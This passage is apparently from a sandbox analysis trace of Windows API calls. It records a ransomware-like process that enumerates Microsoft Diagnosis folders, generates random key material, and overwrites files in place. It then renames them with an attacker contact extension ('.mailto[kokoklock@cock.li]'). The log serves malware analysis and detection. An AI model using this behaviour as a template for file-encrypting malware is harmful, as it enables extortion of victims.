(lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\fffd8b5d-0172-4719-a792-b7c76986459d_withdraw.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\fffd8b5d-0172-4719-a792-b7c76986459d_withdraw.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.766] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\fffd8b5d-0172-4719-a792-b7c76986459d_withdraw.xml", dwFileAttributes=0x20) returned 0 [0074.768] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3476358) returned 1 [0074.768] RtlExitUserThread (Status=0x0) Thread: id = 677 os_tid = 0x1054 [0074.769] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x78) returned 0x33ccb70 [0074.769] wcscpy (in: _Dest=0x33ccb70, _Source="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger" [0074.769] wcscat (in: _Dest=0x33ccb70, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger\\") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger\\" [0074.769] wcscat (in: _Dest=0x33ccb70, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger\\*") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger\\*" [0074.769] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33eeea8 [0074.769] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger\\*", lpFindFileData=0x33eeea8 | out: lpFindFileData=0x33eeea8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x2d5cadbc, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0xcd8d859b, ftLastWriteTime.dwHighDateTime=0x1d34734, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x34339a8 [0074.770] wcscmp (_String1=".", _String2=".") returned 0 [0074.770] FindNextFileW (in: hFindFile=0x34339a8, lpFindFileData=0x33eeea8 | out: lpFindFileData=0x33eeea8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x2d5cadbc, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0xcd8d859b, ftLastWriteTime.dwHighDateTime=0x1d34734, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.770] wcscmp (_String1="..", _String2=".") returned 1 [0074.770] wcscmp (_String1="..", _String2="..") returned 0 [0074.770] FindNextFileW (in: hFindFile=0x34339a8, lpFindFileData=0x33eeea8 | out: lpFindFileData=0x33eeea8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd8d859b, ftCreationTime.dwHighDateTime=0x1d34734, ftLastAccessTime.dwLowDateTime=0xcd8d859b, ftLastAccessTime.dwHighDateTime=0x1d34734, ftLastWriteTime.dwLowDateTime=0xac487de2, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0x30000, dwReserved0=0x0, dwReserved1=0x0, cFileName="AutoLogger-Diagtrack-Listener.etl", cAlternateFileName="AUTOLO~1.ETL")) returned 1 [0074.770] wcscmp (_String1="AutoLogger-Diagtrack-Listener.etl", _String2=".") returned 1 [0074.770] wcscmp (_String1="AutoLogger-Diagtrack-Listener.etl", _String2="..") returned 1 [0074.770] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb8) returned 0x34314c0 [0074.770] wcscpy (in: _Dest=0x34314c0, _Source="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger" [0074.770] wcscat (in: _Dest=0x34314c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger\\") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger\\" [0074.770] wcscat (in: _Dest=0x34314c0, _Source="AutoLogger-Diagtrack-Listener.etl" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger\\AutoLogger-Diagtrack-Listener.etl") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger\\AutoLogger-Diagtrack-Listener.etl" [0076.625] Sleep (dwMilliseconds=0x1) [0077.790] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34314c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x964 [0077.791] FindNextFileW (in: hFindFile=0x34339a8, lpFindFileData=0x33eeea8 | out: lpFindFileData=0x33eeea8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd8d859b, ftCreationTime.dwHighDateTime=0x1d34734, ftLastAccessTime.dwLowDateTime=0xcd8d859b, ftLastAccessTime.dwHighDateTime=0x1d34734, ftLastWriteTime.dwLowDateTime=0xac487de2, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0x30000, dwReserved0=0x0, dwReserved1=0x0, cFileName="AutoLogger-Diagtrack-Listener.etl", cAlternateFileName="AUTOLO~1.ETL")) returned 0 [0077.791] FindClose (in: hFindFile=0x34339a8 | out: hFindFile=0x34339a8) returned 1 [0077.791] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eeea8) returned 1 [0077.791] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ccb70) returned 1 [0077.791] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd4f0) returned 1 [0077.791] RtlExitUserThread (Status=0x0) Thread: id = 678 os_tid = 0x105c [0074.771] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x90) returned 0x347c750 [0074.771] wcscpy (in: _Dest=0x347c750, _Source="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\ScenarioShutdownLogger" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\ScenarioShutdownLogger") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\ScenarioShutdownLogger" [0074.771] wcscat (in: _Dest=0x347c750, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\ScenarioShutdownLogger\\") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\ScenarioShutdownLogger\\" [0074.771] wcscat (in: _Dest=0x347c750, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\ScenarioShutdownLogger\\*") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\ScenarioShutdownLogger\\*" [0074.771] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33ef110 [0074.771] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\ScenarioShutdownLogger\\*", lpFindFileData=0x33ef110 | out: lpFindFileData=0x33ef110*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69f80c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433ae8 [0074.771] wcscmp (_String1=".", _String2=".") returned 0 [0074.771] FindNextFileW (in: hFindFile=0x3433ae8, lpFindFileData=0x33ef110 | out: lpFindFileData=0x33ef110*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69f80c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.771] wcscmp (_String1="..", _String2=".") returned 1 [0074.771] wcscmp (_String1="..", _String2="..") returned 0 [0074.771] FindNextFileW (in: hFindFile=0x3433ae8, lpFindFileData=0x33ef110 | out: lpFindFileData=0x33ef110*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69f80c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0074.771] FindClose (in: hFindFile=0x3433ae8 | out: hFindFile=0x3433ae8) returned 1 [0074.771] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ef110) returned 1 [0074.771] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347c750) returned 1 [0074.771] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347c328) returned 1 [0074.771] RtlExitUserThread (Status=0x0) Thread: id = 679 os_tid = 0x1064 [0074.772] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x80) returned 0x347e9b8 [0074.772] wcscpy (in: _Dest=0x347e9b8, _Source="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger" [0074.772] wcscat (in: _Dest=0x347e9b8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger\\") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger\\" [0074.772] wcscat (in: _Dest=0x347e9b8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger\\*") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger\\*" [0074.772] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33ef110 [0074.773] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger\\*", lpFindFileData=0x33ef110 | out: lpFindFileData=0x33ef110*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x2d6afbff, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0xb855a1cd, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433ae8 [0074.773] wcscmp (_String1=".", _String2=".") returned 0 [0074.773] FindNextFileW (in: hFindFile=0x3433ae8, lpFindFileData=0x33ef110 | out: lpFindFileData=0x33ef110*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x2d6afbff, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0xb855a1cd, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.773] wcscmp (_String1="..", _String2=".") returned 1 [0074.773] wcscmp (_String1="..", _String2="..") returned 0 [0074.773] FindNextFileW (in: hFindFile=0x3433ae8, lpFindFileData=0x33ef110 | out: lpFindFileData=0x33ef110*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb855a1cd, ftCreationTime.dwHighDateTime=0x1d33839, ftLastAccessTime.dwLowDateTime=0xb855a1cd, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xbc623573, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="AutoLogger-Diagtrack-Listener.etl", cAlternateFileName="AUTOLO~1.ETL")) returned 1 [0074.773] wcscmp (_String1="AutoLogger-Diagtrack-Listener.etl", _String2=".") returned 1 [0074.773] wcscmp (_String1="AutoLogger-Diagtrack-Listener.etl", _String2="..") returned 1 [0074.773] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc0) returned 0x34322f8 [0074.773] wcscpy (in: _Dest=0x34322f8, _Source="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger" [0074.773] wcscat (in: _Dest=0x34322f8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger\\") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger\\" [0074.773] wcscat (in: _Dest=0x34322f8, _Source="AutoLogger-Diagtrack-Listener.etl" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger\\AutoLogger-Diagtrack-Listener.etl") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger\\AutoLogger-Diagtrack-Listener.etl" [0076.625] Sleep (dwMilliseconds=0x1) [0077.786] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34322f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x968 [0077.787] FindNextFileW (in: hFindFile=0x3433ae8, lpFindFileData=0x33ef110 | out: lpFindFileData=0x33ef110*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb855a1cd, ftCreationTime.dwHighDateTime=0x1d33839, ftLastAccessTime.dwLowDateTime=0xb855a1cd, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xbc623573, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="AutoLogger-Diagtrack-Listener.etl", cAlternateFileName="AUTOLO~1.ETL")) returned 0 [0077.787] FindClose (in: hFindFile=0x3433ae8 | out: hFindFile=0x3433ae8) returned 1 [0077.787] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ef110) returned 1 [0077.787] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347e9b8) returned 1 [0077.787] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cfb48) returned 1 [0077.787] RtlExitUserThread (Status=0x0) Thread: id = 680 os_tid = 0x1068 [0074.774] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.ASM-WindowsDefault.json" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\downloadedsettings\\telemetry.asm-windowsdefault.json")) returned 0x120 [0074.775] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.ASM-WindowsDefault.json", dwFileAttributes=0x20) returned 0 [0074.777] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.ASM-WindowsDefault.json" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\downloadedsettings\\telemetry.asm-windowsdefault.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.778] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.ASM-WindowsDefault.json", dwFileAttributes=0x120) returned 0 [0074.780] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ca4f8) returned 1 [0074.780] RtlExitUserThread (Status=0x0) Thread: id = 681 os_tid = 0x1178 [0074.781] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.ASM-WindowsDefault.json.bk" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\downloadedsettings\\telemetry.asm-windowsdefault.json.bk")) returned 0x20 [0074.783] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.ASM-WindowsDefault.json.bk", dwFileAttributes=0x20) returned 1 [0074.784] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.ASM-WindowsDefault.json.bk" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\downloadedsettings\\telemetry.asm-windowsdefault.json.bk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x968 [0074.785] GetFileSizeEx (in: hFile=0x968, lpFileSize=0x1a23f744 | out: lpFileSize=0x1a23f744*=1103) returned 1 [0074.785] SetFilePointerEx (in: hFile=0x968, liDistanceToMove=0x44b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.785] ReadFile (in: hFile=0x968, lpBuffer=0x1a23f718, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1a23f714, lpOverlapped=0x0 | out: lpBuffer=0x1a23f718*, lpNumberOfBytesRead=0x1a23f714*=0x4, lpOverlapped=0x0) returned 1 [0074.787] SetFilePointerEx (in: hFile=0x968, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.787] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34791d8 [0074.787] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478e68 [0074.787] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34790c0 [0074.787] NtQuerySystemTime (in: CurrentTime=0x1a23f6f0 | out: CurrentTime=0x1a23f6f0*=132121176326753193) returned 0x0 [0074.787] RtlRandom (in: Seed=0x1a23f6fc | out: Seed=0x1a23f6fc) returned 0x328a293d [0074.787] RtlRandom (in: Seed=0x1a23f6fc | out: Seed=0x1a23f6fc) returned 0xeacb2f0 [0074.787] RtlRandom (in: Seed=0x1a23f6fc | out: Seed=0x1a23f6fc) returned 0x67b69add [0074.787] RtlRandom (in: Seed=0x1a23f6fc | out: Seed=0x1a23f6fc) returned 0x2b0b11a4 [0074.787] RtlRandom (in: Seed=0x1a23f6fc | out: Seed=0x1a23f6fc) returned 0x6b587b13 [0074.787] RtlRandom (in: Seed=0x1a23f6fc | out: Seed=0x1a23f6fc) returned 0x4801d1dc [0074.787] RtlRandom (in: Seed=0x1a23f6fc | out: Seed=0x1a23f6fc) returned 0x4bc12ea [0074.787] RtlRandom (in: Seed=0x1a23f6fc | out: Seed=0x1a23f6fc) returned 0xaf811a96 [0074.787] RtlRandom (in: Seed=0x1a23f6fc | out: Seed=0x1a23f6fc) returned 0xa325d2cc [0074.787] RtlRandom (in: Seed=0x1a23f6fc | out: Seed=0x1a23f6fc) returned 0xd33133d9 [0074.787] RtlRandom (in: Seed=0x1a23f6fc | out: Seed=0x1a23f6fc) returned 0xbcb8005a [0074.787] RtlRandom (in: Seed=0x1a23f6fc | out: Seed=0x1a23f6fc) returned 0x7af4c5dd [0074.787] RtlRandom (in: Seed=0x1a23f6fc | out: Seed=0x1a23f6fc) returned 0xdf09a159 [0074.787] RtlRandom (in: Seed=0x1a23f6fc | out: Seed=0x1a23f6fc) returned 0x64b8010f [0074.787] RtlRandom (in: Seed=0x1a23f6fc | out: Seed=0x1a23f6fc) returned 0x4f96f1c0 [0074.787] RtlRandom (in: Seed=0x1a23f6fc | out: Seed=0x1a23f6fc) returned 0x9ba13994 [0074.787] RtlRandom (in: Seed=0x1a23f6fc | out: Seed=0x1a23f6fc) returned 0x2435c800 [0074.787] RtlRandom (in: Seed=0x1a23f6fc | out: Seed=0x1a23f6fc) returned 0xf307f49c [0074.787] RtlRandom (in: Seed=0x1a23f6fc | out: Seed=0x1a23f6fc) returned 0xf235532 [0074.787] RtlRandom (in: Seed=0x1a23f6fc | out: Seed=0x1a23f6fc) returned 0xae000632 [0074.787] RtlRandom (in: Seed=0x1a23f6fc | out: Seed=0x1a23f6fc) returned 0x915963f [0074.787] RtlRandom (in: Seed=0x1a23f6fc | out: Seed=0x1a23f6fc) returned 0x6109a611 [0074.787] RtlRandom (in: Seed=0x1a23f6fc | out: Seed=0x1a23f6fc) returned 0x17b1b944 [0074.787] RtlRandom (in: Seed=0x1a23f6fc | out: Seed=0x1a23f6fc) returned 0x11282247 [0074.787] RtlRandom (in: Seed=0x1a23f6fc | out: Seed=0x1a23f6fc) returned 0x8127b6ab [0074.787] RtlRandom (in: Seed=0x1a23f6fc | out: Seed=0x1a23f6fc) returned 0xbb59c734 [0074.788] RtlRandom (in: Seed=0x1a23f6fc | out: Seed=0x1a23f6fc) returned 0xf6659873 [0074.788] RtlRandom (in: Seed=0x1a23f6fc | out: Seed=0x1a23f6fc) returned 0xe9fd201b [0074.788] RtlRandom (in: Seed=0x1a23f6fc | out: Seed=0x1a23f6fc) returned 0x8eba5554 [0074.788] RtlRandom (in: Seed=0x1a23f6fc | out: Seed=0x1a23f6fc) returned 0x65fc1ed [0074.788] RtlRandom (in: Seed=0x1a23f6fc | out: Seed=0x1a23f6fc) returned 0x2576d00f [0074.788] RtlRandom (in: Seed=0x1a23f6fc | out: Seed=0x1a23f6fc) returned 0x6c032b14 [0074.799] ReadFile (in: hFile=0x968, lpBuffer=0x33f28e0, nNumberOfBytesToRead=0x44f, lpNumberOfBytesRead=0x1a23f6f0, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesRead=0x1a23f6f0*=0x44f, lpOverlapped=0x0) returned 1 [0074.799] SetFilePointerEx (in: hFile=0x968, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1a23f6b8 | out: lpNewFilePointer=0x0) returned 1 [0074.799] WriteFile (in: hFile=0x968, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x44f, lpNumberOfBytesWritten=0x1a23f6ec, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x1a23f6ec*=0x44f, lpOverlapped=0x0) returned 1 [0074.799] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479250 [0074.799] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478df0 [0074.799] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478df0) returned 1 [0074.799] WriteFile (in: hFile=0x968, lpBuffer=0x3479250*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1a23f6e8, lpOverlapped=0x0 | out: lpBuffer=0x3479250*, lpNumberOfBytesWritten=0x1a23f6e8*=0x20, lpOverlapped=0x0) returned 1 [0074.799] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479250) returned 1 [0074.799] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0074.799] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0074.799] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479d30) returned 1 [0074.800] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd790) returned 1 [0074.800] WriteFile (in: hFile=0x968, lpBuffer=0x3479048*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1a23f714, lpOverlapped=0x0 | out: lpBuffer=0x3479048*, lpNumberOfBytesWritten=0x1a23f714*=0x8, lpOverlapped=0x0) returned 1 [0074.800] WriteFile (in: hFile=0x968, lpBuffer=0x1a23f72c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1a23f714, lpOverlapped=0x0 | out: lpBuffer=0x1a23f72c*, lpNumberOfBytesWritten=0x1a23f714*=0x4, lpOverlapped=0x0) returned 1 [0074.800] WriteFile (in: hFile=0x968, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1a23f714, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1a23f714*=0x4, lpOverlapped=0x0) returned 1 [0074.800] WriteFile (in: hFile=0x968, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1a23f714, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1a23f714*=0x6c, lpOverlapped=0x0) returned 1 [0074.800] WriteFile (in: hFile=0x968, lpBuffer=0x3478e68*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1a23f714, lpOverlapped=0x0 | out: lpBuffer=0x3478e68*, lpNumberOfBytesWritten=0x1a23f714*=0x20, lpOverlapped=0x0) returned 1 [0074.800] WriteFile (in: hFile=0x968, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1a23f714, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1a23f714*=0x4, lpOverlapped=0x0) returned 1 [0074.800] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478e68) returned 1 [0074.800] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478ff8) returned 1 [0074.800] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479048) returned 1 [0074.800] CloseHandle (hObject=0x968) returned 1 [0074.800] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x100) returned 0x342a510 [0074.800] wcscpy (in: _Dest=0x342a510, _Source="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.ASM-WindowsDefault.json.bk" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.ASM-WindowsDefault.json.bk") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.ASM-WindowsDefault.json.bk" [0074.801] wcscat (in: _Dest=0x342a510, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.ASM-WindowsDefault.json.bk.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.ASM-WindowsDefault.json.bk.mailto[kokoklock@cock.li].d0e731" [0074.801] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.ASM-WindowsDefault.json.bk" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\downloadedsettings\\telemetry.asm-windowsdefault.json.bk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.ASM-WindowsDefault.json.bk.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\downloadedsettings\\telemetry.asm-windowsdefault.json.bk.mailto[kokoklock@cock.li].d0e731")) returned 1 [0074.801] SetFileAttributesW (lpFileName="C:\\Users\\All 